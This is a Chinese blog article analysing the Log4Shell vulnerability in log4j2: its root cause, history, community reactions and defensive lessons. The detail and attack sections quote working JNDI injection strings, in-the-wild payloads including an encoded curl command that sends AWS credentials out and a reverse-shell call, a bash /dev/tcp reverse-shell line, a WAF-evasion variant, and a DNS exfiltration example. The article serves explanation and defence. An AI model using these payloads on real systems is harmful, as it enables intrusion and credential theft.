盗墓笔记小说全集,盗墓笔记有声小说

新聞中心

這里有您想知道的互聯(lián)網(wǎng)營(yíng)銷解決方案

GhostintheLog4Shell

多年以后，面對(duì)加班的夜晚，Volkan Yaz?c? 一定會(huì)回憶起發(fā)生在 2021 年底的這件事情，除了沒(méi)日沒(méi)夜的工作和無(wú)休止的解釋以外，當(dāng)然也少不了人們的憤怒和對(duì)他的謾罵。一不小心就見(jiàn)證歷史的，除了 log4j 的作者們，還有我們所有人。

起初，大家都度過(guò)了一個(gè)黑客狂歡，吃瓜群眾玩梗，開(kāi)發(fā)們加班的周末，以為這可能是又一次“心臟出血”或者“永恒之藍(lán)”。隨著事情愈演愈烈，影響愈來(lái)愈大，現(xiàn)在大家都應(yīng)該認(rèn)識(shí)到，這個(gè)漏洞比心臟出血要嚴(yán)重得多。比如 CISA 的官員稱其為從業(yè)以來(lái)最嚴(yán)重的漏洞(之一)，log4j 的修復(fù)也導(dǎo)致短短兩周內(nèi)升了三個(gè)大版本(目前只有最新的 2.17.0 被認(rèn)為是沒(méi)有問(wèn)題的)。所以朋友們，不要懷疑，這絕對(duì)是一個(gè)有生之年系列。

核彈級(jí)漏洞 Log4Shell

漏洞本體 log4j 2.x，編號(hào) CVE-2021-44228，滿分10分，花名 Log4Shell。

Log4Shell 之所以被稱之為一個(gè)核彈級(jí)漏洞，是因?yàn)樗哂幸韵逻@些特征：

廣泛性：大(海)量 Java 應(yīng)用都依賴于 log4j 2，log4j 是事實(shí)上的日志標(biāo)準(zhǔn)。而 Java 本身的跨平臺(tái)特性，使得所有主流操作系統(tǒng)包括各種運(yùn)行 Java 的嵌入式設(shè)備都受到影響。

嚴(yán)重性：從花名 Log4Shell 就可以看出來(lái)，它是一個(gè) RCE 漏洞，也就是遠(yuǎn)程代碼執(zhí)行漏洞。這是所有漏洞中級(jí)別最高的一種。

易利用性：該漏洞默認(rèn)開(kāi)啟，攻擊面廣，攻擊渠道多，攻擊效果穩(wěn)定，攻擊條件易滿足，簡(jiǎn)單來(lái)講，對(duì)攻擊者非常友好?？胺Q腳本小子的入門級(jí)漏洞。

長(zhǎng)期性：因?yàn)?Log4Shell 具有明顯的供應(yīng)鏈攻擊特點(diǎn)，并且對(duì)于數(shù)量龐大的企業(yè)資產(chǎn)來(lái)說(shuō)，確定影響范圍非常非常非常困難。保守估計(jì)，log4j 的負(fù)面影響至少需要半年時(shí)間來(lái)緩解。

眾說(shuō)紛紜

距離漏洞爆出來(lái)已經(jīng)過(guò)了三周，關(guān)于漏洞的討論已然鋪天蓋地，審美疲勞。這其中，有安全廠商第一時(shí)間出來(lái)提供緩解措施和修復(fù)建議，有云計(jì)算和安全廠商趁熱打鐵推銷他們的 WAF 或者其它安全產(chǎn)品;有很多的安全工作者在社交媒體上分享博客和文章，分析漏洞原理，科普安全知識(shí);有開(kāi)發(fā)人員質(zhì)疑 log4j 的作者設(shè)計(jì)不當(dāng)，莫名其妙，難辭其咎，也有開(kāi)發(fā)人員對(duì)此表示理解，認(rèn)為如今開(kāi)源難做，重要而基礎(chǔ)的組件全是免費(fèi)維護(hù)，而一毛不拔的大廠才是罪惡根源。

作為一個(gè)冷眼旁觀的安全工作者，筆者并不急于站隊(duì)，注意力則放在搜集和整理關(guān)于 Log4Shell 的各種或有趣，或有價(jià)值的事實(shí)和知識(shí)上。對(duì)于開(kāi)發(fā)人員來(lái)說(shuō)，第一要?jiǎng)?wù)是盡快修復(fù)自己的產(chǎn)品和代碼，但是忙碌之余，是不是也好奇除了這些無(wú)聊的升級(jí)和修復(fù)以外，關(guān)于 Log4Shell，還有哪些你需要知道的事情呢。

漏洞細(xì)節(jié)

以下代碼對(duì)于 log4j (< 2.15.0)，默認(rèn)會(huì)觸發(fā)這個(gè)漏洞：

 
 
 
  
  
  public class App { 
  
  
   private static final Logger logger = LogManager.getLogger(App.class); 
  
  
   public static void main(String[] args) { 
  
  
       logger.error("${jndi:ldap://attacker.com/x}"); 
  
  
   } 
  
  
  }

我們執(zhí)果索因，先來(lái)直擊漏洞觸發(fā)時(shí)的調(diào)用棧：

 
 
 
  
  
  JndiLookup.lookup(LogEvent,String) (JndiLookup.class:51) 
  
  
  Interpolator.lookup(LogEvent,String) (Interpolator.class:223) 
  
  
  StrSubstitutor.resolveVariable(LogEvent,String,StringBuilder,int,int) (StrSubstitutor.class:1116) 
  
  
  StrSubstitutor.substitute(LogEvent,StringBuilder,int,int,List) (StrSubstitutor.class:1038) 
  
  
  StrSubstitutor.substitute(LogEvent,StringBuilder,int,int) (StrSubstitutor.class:912) 
  
  
  StrSubstitutor.replace(LogEvent,String) (StrSubstitutor.class:467) 
  
  
  MessagePatternConverter.format(LogEvent,StringBuilder) (MessagePatternConverter.class:132) 
  
  
  PatternFormatter.format(LogEvent,StringBuilder) (PatternFormatter.class:38) 
  
  
  PatternLayout$PatternSerializer.toSerializable(LogEvent,StringBuilder) (PatternLayout.class:345) 
  
  
  PatternLayout.toText(AbstractStringLayout$Serializer2,LogEvent,StringBuilder) (PatternLayout.class:244) 
  
  
  PatternLayout.encode(LogEvent,ByteBufferDestination) (PatternLayout.class:229) 
  
  
  PatternLayout.encode(Object,ByteBufferDestination) (PatternLayout.class:59) 
  
  
  AbstractOutputStreamAppender.directEncodeEvent(LogEvent) (AbstractOutputStreamAppender.class:197) 
  
  
  AbstractOutputStreamAppender.tryAppend(LogEvent) (AbstractOutputStreamAppender.class:190) 
  
  
  AbstractOutputStreamAppender.append(LogEvent) (AbstractOutputStreamAppender.class:181) 
  
  
  AppenderControl.tryCallAppender(LogEvent) (AppenderControl.class:156) 
  
  
  AppenderControl.callAppender0(LogEvent) (AppenderControl.class:129) 
  
  
  AppenderControl.callAppenderPreventRecursion(LogEvent) (AppenderControl.class:120) 
  
  
  AppenderControl.callAppender(LogEvent) (AppenderControl.class:84) 
  
  
  LoggerConfig.callAppenders(LogEvent) (LoggerConfig.class:543) 
  
  
  LoggerConfig.processLogEvent(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:502) 
  
  
  LoggerConfig.log(LogEvent,LoggerConfig$LoggerConfigPredicate) (LoggerConfig.class:485) 
  
  
  LoggerConfig.log(String,String,StackTraceElement,Marker,Level,Message,Throwable) (LoggerConfig.class:460) 
  
  
  AwaitCompletionReliabilityStrategy.log(Supplier,String,String,StackTraceElement,Marker,Level,Message,Throwable) (AwaitCompletionReliabilityStrategy.class:82) 
  
  
  Logger.log(Level,Marker,String,StackTraceElement,Message,Throwable) (Logger.class:161) 
  
  
  AbstractLogger.tryLogMessage(String,StackTraceElement,Level,Marker,Message,Throwable) (AbstractLogger.class:2198) 
  
  
  AbstractLogger.logMessageTrackRecursion(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2152) 
  
  
  AbstractLogger.logMessageSafely(String,Level,Marker,Message,Throwable) (AbstractLogger.class:2135) 
  
  
  AbstractLogger.logMessage(String,Level,Marker,String,Throwable) (AbstractLogger.class:2011) 
  
  
  AbstractLogger.logIfEnabled(String,Level,Marker,String,Throwable) (AbstractLogger.class:1983) 
  
  
  AbstractLogger.info(String) (AbstractLogger.class:1320) 
  
  
  App.main(String[]) (App.java:19)

代碼執(zhí)行到 jndiLookup.lookup 的時(shí)候觸發(fā)了這個(gè)漏洞。請(qǐng)注意以下幾個(gè)概念：

PatternLayout: 又叫模式布局，也就是形如 %d{yyyy-MM-dd HH:mm:ss.SSS} [%t] %level %logger{36} - %msg%n 的模式，我們常常會(huì)在配置文件中用它定義日志格式。這其中 %msg 就是指代我們傳給 log.error 方法的內(nèi)容。

Interpolator：Interpolator(插值器)是一種屬性占位符，而插值器會(huì)包含許多 StrLookup 對(duì)象，這些對(duì)象會(huì)在運(yùn)行時(shí)通過(guò)調(diào)用 lookup 方法被替換成最終的值，比如 JNDI lookup。此外還有諸如 date, java, marker, ctx, lower, upper, main, jvmrunargs, sys, env, log4j這些 Lookup。所以你可以使用 ${jndi:key} 或者 ${env:key} 來(lái)替換 jndi 或者環(huán)境變量的內(nèi)容，而且還支持嵌套。請(qǐng)參考 log4j 的文檔了解更多細(xì)節(jié)。

漏洞觸發(fā)的原因是因?yàn)?%msg 對(duì)應(yīng)的 MessagePatternConvert 會(huì)使用 interpolator 來(lái)替換占位符，而 interpolator 默認(rèn)包含 JNDI 的 lookup。這些可以很容易從上面的調(diào)用棧分析出來(lái)。一個(gè)有趣的事實(shí)就是不管有沒(méi)有這個(gè)漏洞，log4j 都比一個(gè) system.out.println 要復(fù)雜和靈活更多 – 沒(méi)有了 JNDI，log4j 仍然支持大量的占位符替換，可以輕松訪問(wèn)一些環(huán)境變量，一些上下文的狀態(tài)。從這個(gè)角度看，Log4Shell 終于把日志注入攻擊達(dá)到了大眾的視野中。

那為什么會(huì)有 JNDI 這個(gè)功能?

筆者猜想 90% 的開(kāi)發(fā)人員了解以上這個(gè)漏洞細(xì)節(jié)后，心里肯定會(huì)罵一句臟話。原來(lái) log4j 這濃眉大眼的這么狡猾啊，一直以為你是移動(dòng)電話，沒(méi)想到還可以神不知鬼不覺(jué)地刮胡子啊。這恰恰是因?yàn)檫@個(gè)漏洞理解起來(lái)太容易，利用起來(lái)更容易，畢竟它是一個(gè)真正把 feature 做成了漏洞的范例。所以大家不禁要想這樣的功能是如何誕生的?請(qǐng)看這個(gè) Jira issue，JNDI Lookup plugin support。

2013年7月，該功能(漏洞)首次被引入 log4j2。理由是：

“Currently, Lookup plugins [1] don't support JNDI resources.

It would be really convenient to support JNDI resource lookup in the configuration.

One use case with JNDI lookup plugin is as follows:

I'd like to use RoutingAppender [2] to put all the logs ?from the same web application context in a log file (a log file per web application context).

And, I want to use JNDI resources look up to determine the target route (similarly to JNDI context selector of logback [3]).

Determining the target route by JNDI lookup can be advantageous because we don't have to add any code to set properties for the thread context and JNDI lookup should always work even in a separate thread without copying thread context variables.”

主要是兩點(diǎn)，一個(gè)是方便(JNDI確實(shí)方便啊)，一個(gè)為了和 logback 兼容。而且提需求的人很爽快地附帶了一個(gè)實(shí)現(xiàn)補(bǔ)丁。安全最大的敵人，方便和兼容都出現(xiàn)了。雖然最開(kāi)始的場(chǎng)景是在配置文件里使用 JNDI，但是強(qiáng)大如 log4j 沒(méi)理由不能在每一條消息里面使用它。

JNDI 可謂是 Log4Shell 的靈魂，但是反過(guò)來(lái)卻不是。針對(duì) JNDI 的攻擊存在了多年，它本身就是 Java 的重要攻擊向量。想要學(xué)習(xí)更多 JNDI 攻擊原理的同學(xué)可以參考 Blackhat 2016 的經(jīng)典 talk -- A Journey From JNDI/LDAP Manipulation to Remote Code Execution Dream Land

并且結(jié)合 log4j 提供的各種 lookup 和 converter，針對(duì) JNDI 的攻擊也誕生了各種變形(為了繞過(guò) WAF 和檢測(cè))，比如 ${${lower:jnd${lower:i}}:xxx}。說(shuō)到底，log4j 真的是太靈活了。

Java 日志庫(kù)的前世今生

2001 年，軟件開(kāi)發(fā)者 Ceki Gulcu 設(shè)計(jì)了 log4j(v1)。后來(lái) sun 也在 JDK 引入了一個(gè)叫做 Java Util Logging 的日志框架。不過(guò)始終都沒(méi)有 log4j1 那么強(qiáng)大和流行。因?yàn)槿罩編?kù)變多了，于是 Apache 趁機(jī)推出了所謂的 Logging Facade – JCL(Jakarta Common Logging)，可以動(dòng)態(tài)綁定使用的日志庫(kù)。

2006 年，Ceki 離開(kāi) Apache 之后又開(kāi)發(fā)了新的 Logging Facade，也就是我們現(xiàn)在熟知的 Slf4j(Simple Logging Facade for Java)以及各種橋接包(包括橋接 log4j )。再之后，Ceki 又開(kāi)發(fā)了 Logback 作為 Slf4j 的默認(rèn)實(shí)現(xiàn)。至此 Slf4j + Logback 就變成一個(gè)新的強(qiáng)大而靈活的組合。

到了 2012 年，Apache 決定開(kāi)發(fā)一個(gè)新的 logging framwork 來(lái)和 Slf4j + logback 競(jìng)爭(zhēng)，這就是我們的主角 log4j2，以 log4j-api + log4j2-core 的形式，而且也不兼容 log4j v1。

所以現(xiàn)在 Java logging framework 就分為兩大陣營(yíng)了。

社區(qū)反應(yīng)

Log4Shell 的影響太大，也波及了其它日志庫(kù)。所以有人為 Logback 提交了一個(gè) commit，強(qiáng)調(diào) logback 和 log4j2 沒(méi)有任何關(guān)系，不共享代碼所以也不共享漏洞

https://github.com/qos-ch/logback/commit/b810c115e363081afc70f8bf4ee535318c3a34e1

而 Spring 則專門發(fā)文強(qiáng)調(diào)，Spring Starter 默認(rèn) logging 組件是 logback，不是 log4j2，所以沒(méi)有這個(gè)漏洞

https://spring.io/blog/2021/12/10/log4j2-vulnerability-and-spring-boot

最后的最后，終于有人決定重新開(kāi)始維護(hù) log4j1 了

https://github.com/apache/logging-log4j1/commits/trunk

那我在用 log4j 1.x 我需要擔(dān)心 Log4Shell 嗎?

不需要。雖然 log4j 1.x 常年失修，疏于維護(hù)，但是不幸或者幸運(yùn)的是，log4j1 并不會(huì)受到 Log4Shell 的影響。

非常非常的尷尬，一個(gè)自從 2012 年起就沒(méi)有維護(hù)的組件，一個(gè)包含有多個(gè) CVE 常年居于各種掃描結(jié)果的榜首，但是卻因?yàn)橐恢闭也坏匠浞值墓糇C據(jù)，茍活在在各大企業(yè)的代碼庫(kù)中，這其中包括 Altassian 的全線產(chǎn)品。盡管 log4j1 的代碼行比較少，功能也很簡(jiǎn)單，但是無(wú)論如何，經(jīng)此一役，大家還是要認(rèn)識(shí)到一個(gè)常年缺乏維護(hù)的基礎(chǔ)組件是多么的危險(xiǎn)。

Android 設(shè)備會(huì)受到 Log4Shell 的影響嗎?

大概率不會(huì)。眾所周知，Android 也是運(yùn)行在 Google 開(kāi)發(fā)的 Java 虛擬機(jī)上，但是：

log4j 家族都不支持 Android，因?yàn)闆](méi)人移植
Android 自己已經(jīng)自帶 logging 框架和相關(guān)基礎(chǔ)設(shè)施了

所以 Android OS 不會(huì)受到 Log4Shell 的影響，而 Android App，除非你自己移植了整個(gè) log4j2 到 Android，否則答案也是 No。

Log4Shell 到底如何用來(lái)進(jìn)行攻擊的?

早在 12 月 16 日，一些安全實(shí)驗(yàn)室就已經(jīng)捕捉到了一些野生 payload 用于真實(shí)的攻擊，比如：

 
 
 
  
  
  GET /$%7Bjndi:ldap:///Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdzL2NyZWRlbnRpYWxzKSIgaHR0cHM6Ly9jNnRkNW1lMnZ0Y%7D HTTP/1.1 
  
  
  Host: 
  
  
  User-Agent: ${jndi:ldap:///Basic/Command/Base64/Y3VybCAtZCAiJChjYXQgfi8uYXdz

 
 
 
  
  
  GET / HTTP/1.0  
  
  
  User-Agent: borchuk/3.1 ${jndi:ldap://:1389/Basic/ReverseShell//9999}   
  
  
  Accept: */*  
  
  
  Bearer: ${jndi:ldap://:1389/Basic/ReverseShell//9999}

這些 payload 都是用一個(gè)叫 JNDIExploit 的工具庫(kù)生成的，中文的，大家自便。而該工具是 1 年前創(chuàng)建的。這說(shuō)明要利用 Log4Shell，經(jīng)典的 JNDI + LDAP 攻擊就足夠了。

這一套 exploit 工具集支持多種攻擊，比如各種基于 tomcat，spring 和 weblogic 的 webshell 和反向 shell。比如這段代碼

https://github.com/zzwlpx/JNDIExploit/blob/master/src/main/java/com/feihong/ldap/template/ReverseShellTemplate.java#L103 :

 
 
 
  
  
  mv.visitLdcInsn("/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1");

就是一個(gè)經(jīng)典的只依賴于 bash 來(lái)實(shí)現(xiàn)反彈 shell 的例子。

此外，一家叫做 Bitdefender 的安全公司利用蜜罐，發(fā)現(xiàn)了大量僵尸網(wǎng)絡(luò)(botnet)和蠕蟲病毒利用 Log4Shell 的證據(jù)。其中，叫做 Muhstik 的 botnet 是最早的一批。這些僵尸網(wǎng)絡(luò)的目的主要是感染機(jī)器并在機(jī)器上部署挖礦程序。

另外，一個(gè)叫 Curated Intel 的組織維護(hù)了一個(gè) github 倉(cāng)庫(kù)，專門用來(lái)記錄和匯總針對(duì) Log4Shell 攻擊證據(jù)和分析。

除了 RCE 我們還需要擔(dān)心什么?

對(duì)于現(xiàn)在復(fù)雜的企業(yè)網(wǎng)絡(luò)來(lái)說(shuō)，要真正實(shí)施一次 RCE 攻擊可能并不是那么容易。但是這次 Log4Shell 真正帶來(lái)的巨大影響的，就是所謂的 DNS out-of-band attack(帶外攻擊)。我們已經(jīng)注意到，在 JNDI + LDAP 的注入字符串中，一般都會(huì)使用域名來(lái)指定服務(wù)器。于是，這里就存在一個(gè)經(jīng)典的注入帶外攻擊場(chǎng)景 – 如果你對(duì) DNS 協(xié)議熟悉的話 – 當(dāng)一個(gè)不存在的域名第一次被解析時(shí)，它一定會(huì)被中間的 DNS 服務(wù)器反復(fù)往上游傳遞，直到它到達(dá)所謂的權(quán)威服務(wù)器，也就是域名的所有者。

我們以 "${jndi:ldap://${env:AWS_ACCESS_KEY_ID}.somedomain.com/x}" 為例。當(dāng)漏洞被觸發(fā)時(shí)，被攻擊的對(duì)象會(huì)嘗試去連接 LDAP 服務(wù)器。根據(jù)之前提到的 env Lookup，${env:AWS_ACCESS_KEY_ID} 會(huì)被替換成相應(yīng)的環(huán)境變量(如果存在的話)，然后一個(gè)形如 "xxxxxxxx.somedomain.com" 的 DNS 請(qǐng)求就會(huì)被發(fā)出去。因?yàn)橐话銇?lái)說(shuō)，"xxxxxxxx.somedomain.com" 是不存在的，但是 somedomain.com 卻是存在并且被攻擊者控制。所以最后，關(guān)于 "xxxxxxxx.somedomain.com" 的一切最后，都會(huì)去到攻擊者的服務(wù)器去查詢。于是 AWS_ACCESS_KEY_ID 就被泄露了。

環(huán)境變量可以挖掘的信息實(shí)在太豐富，同時(shí)考慮到其它 log4j2 自帶的 Lookup，即便泄露不了太多敏感信息，也提供了大量信息搜集的機(jī)會(huì) – 而這往往是真正攻擊前最重要的步驟。

而對(duì)于企業(yè)來(lái)說(shuō)，部署 WAF 或者防火墻來(lái)防御 RCE 攻擊是可行的，但是對(duì)于 DNS 帶外攻擊，實(shí)施審計(jì)和阻斷卻非常不現(xiàn)實(shí)。你可以想象一下，當(dāng)你需要訪問(wèn)一個(gè)新的第三方服務(wù)時(shí)，不僅需要網(wǎng)絡(luò)保證暢通，還需要安全部門放行你的 DNS 請(qǐng)求。而企業(yè) DNS 服務(wù)往往是一個(gè)中心化的服務(wù)，這樣實(shí)施的成本實(shí)在太高。

假設(shè)防火墻或者 WAF 沒(méi)有防御住 Log4Shell 攻擊，企業(yè)應(yīng)該采取什么樣的策略進(jìn)行補(bǔ)救?

假如通過(guò)日志和 WAF 記錄都沒(méi)有找到有效的信息來(lái)排查或者防御 Log4Shell 的攻擊，或許縱深防御的思路可以幫到一些忙。通過(guò)部署 EDR 系統(tǒng)，終端審計(jì)系統(tǒng)或者某種沙箱系統(tǒng)，我們可以很方便地監(jiān)控和阻止一些特殊命令的執(zhí)行和一些典型的惡意行為。比如，如果一個(gè) Java 進(jìn)程 fork 了叫做 curl 和 cmd.exe 的子進(jìn)程，那么這無(wú)論如何都是可疑的。這種思路不僅可以應(yīng)對(duì) Log4Shell，也可以對(duì)付未來(lái)出現(xiàn)的各種 RCE 型漏洞。當(dāng)然，要發(fā)揮這種策略的效果，一個(gè)能快速響應(yīng)的安全流程和策略分發(fā)機(jī)制必不可少，同時(shí)一個(gè)完備的資產(chǎn)管理和威脅管理系統(tǒng)也必須建立起來(lái)。

后 Log4Shell 時(shí)代，我們應(yīng)該如何應(yīng)對(duì)

核彈級(jí)漏洞 Log4Shell(CVE-2021-44228)的影響必將是深遠(yuǎn)的，不僅僅是當(dāng)下肉眼可見(jiàn)的攻擊事件和損失數(shù)據(jù)，在相當(dāng)長(zhǎng)時(shí)間的將來(lái)我們都會(huì)被這次的陰影所籠罩 – 蠕蟲病毒和勒索軟件的肆虐，個(gè)人敏感數(shù)據(jù)的大量泄漏。但是真正籠罩在大家心頭的還是因?yàn)樗o了我們軟件工業(yè)重重一擊 – 為什么如此明顯的漏洞存在于如此基礎(chǔ)的組件之中長(zhǎng)達(dá) 7-8 年之久?說(shuō)好的開(kāi)源軟件更安全呢?我們的軟件工業(yè)到底怎么啦?

當(dāng)我們說(shuō)安全難做的時(shí)候，往往不是說(shuō)安全漏洞隱藏的多深，也不是說(shuō)安全專家的稀缺。身處軟件工業(yè)的我們，聽(tīng)說(shuō)過(guò)太多傳說(shuō)中的攻防故事，但大抵是愿意相信能力越大責(zé)任越大的 – 如果一個(gè)漏洞難以發(fā)掘和利用，那么它的攻擊成本是很高的，不管是從攻擊面還是從攻擊技術(shù)看;如果一個(gè)漏洞攻擊簡(jiǎn)單，利用方便，那么防御的難度也會(huì)降低。當(dāng)我們說(shuō)安全難做的時(shí)候，其實(shí)還是在說(shuō)的是人的因素，是安全中最難控制的一環(huán)。當(dāng) log4j2 作為 Java 應(yīng)用中事實(shí)上的標(biāo)準(zhǔn)，被用在海量應(yīng)用中，其中包括了幾乎所有互聯(lián)網(wǎng)巨頭，但是只有兩位開(kāi)發(fā)人員免費(fèi)維護(hù)時(shí)，這房間中的大象就已經(jīng)存在了。我想說(shuō)這不是開(kāi)源軟件出了問(wèn)題，而是我們對(duì)開(kāi)源軟件的理解有問(wèn)題。沒(méi)有人維護(hù)的軟件，即使是開(kāi)源的，也不應(yīng)該被認(rèn)為是安全的!

因此，Log4Shell 漏洞作為一個(gè)分水嶺，那么給后 Log4Shell 時(shí)代的我們的啟示有哪些呢?

堅(jiān)定不移的安全左移：想要通過(guò)使用和購(gòu)買單獨(dú)的安全產(chǎn)品一次性解決問(wèn)題的時(shí)代已經(jīng)過(guò)去了，新時(shí)代的安全防御一定是個(gè)系統(tǒng)性方案，包括了架構(gòu)，設(shè)計(jì)，開(kāi)發(fā)，測(cè)試和運(yùn)維。關(guān)鍵詞：SDLC，安全內(nèi)建，DevSecOps

系統(tǒng)監(jiān)控和應(yīng)急響應(yīng)：Cloud Native 時(shí)代，大家逐漸認(rèn)識(shí)到需要上云的不僅僅是業(yè)務(wù)和應(yīng)用，整個(gè)系統(tǒng)的監(jiān)控也是必不可少的。但是安全領(lǐng)域的監(jiān)控現(xiàn)在還是相對(duì)落后，不僅體現(xiàn)在工具上也體現(xiàn)在意識(shí)上。迅速建立一個(gè)系統(tǒng)化的資產(chǎn)管理和監(jiān)控系統(tǒng)是當(dāng)務(wù)之急。關(guān)鍵詞：SIEM，態(tài)勢(shì)感知，依賴管理和可視化

敏捷威脅建模：Log4Shell 的其中一個(gè)教訓(xùn)是，不要相信任何用戶輸入，包括日志。過(guò)去我們做威脅建模，不管是 STRIDE 還是攻擊樹(shù)，往往只會(huì)把日志當(dāng)成是敏感數(shù)據(jù)泄露的源頭，而不是攻擊的輸入。當(dāng)我們反思為什么會(huì)漏掉這一環(huán)時(shí)，則恰恰說(shuō)明了敏捷威脅建模的重要性。威脅建模不是一錘子買賣，它需要融入整個(gè)迭代中，這恰恰又印證了安全左移的理念。關(guān)鍵詞：敏捷威脅建模，資產(chǎn)分析，數(shù)據(jù)流可視化

本文題目：GhostintheLog4Shell
本文地址：http://fisionsoft.com.cn/article/dpjjgpc.html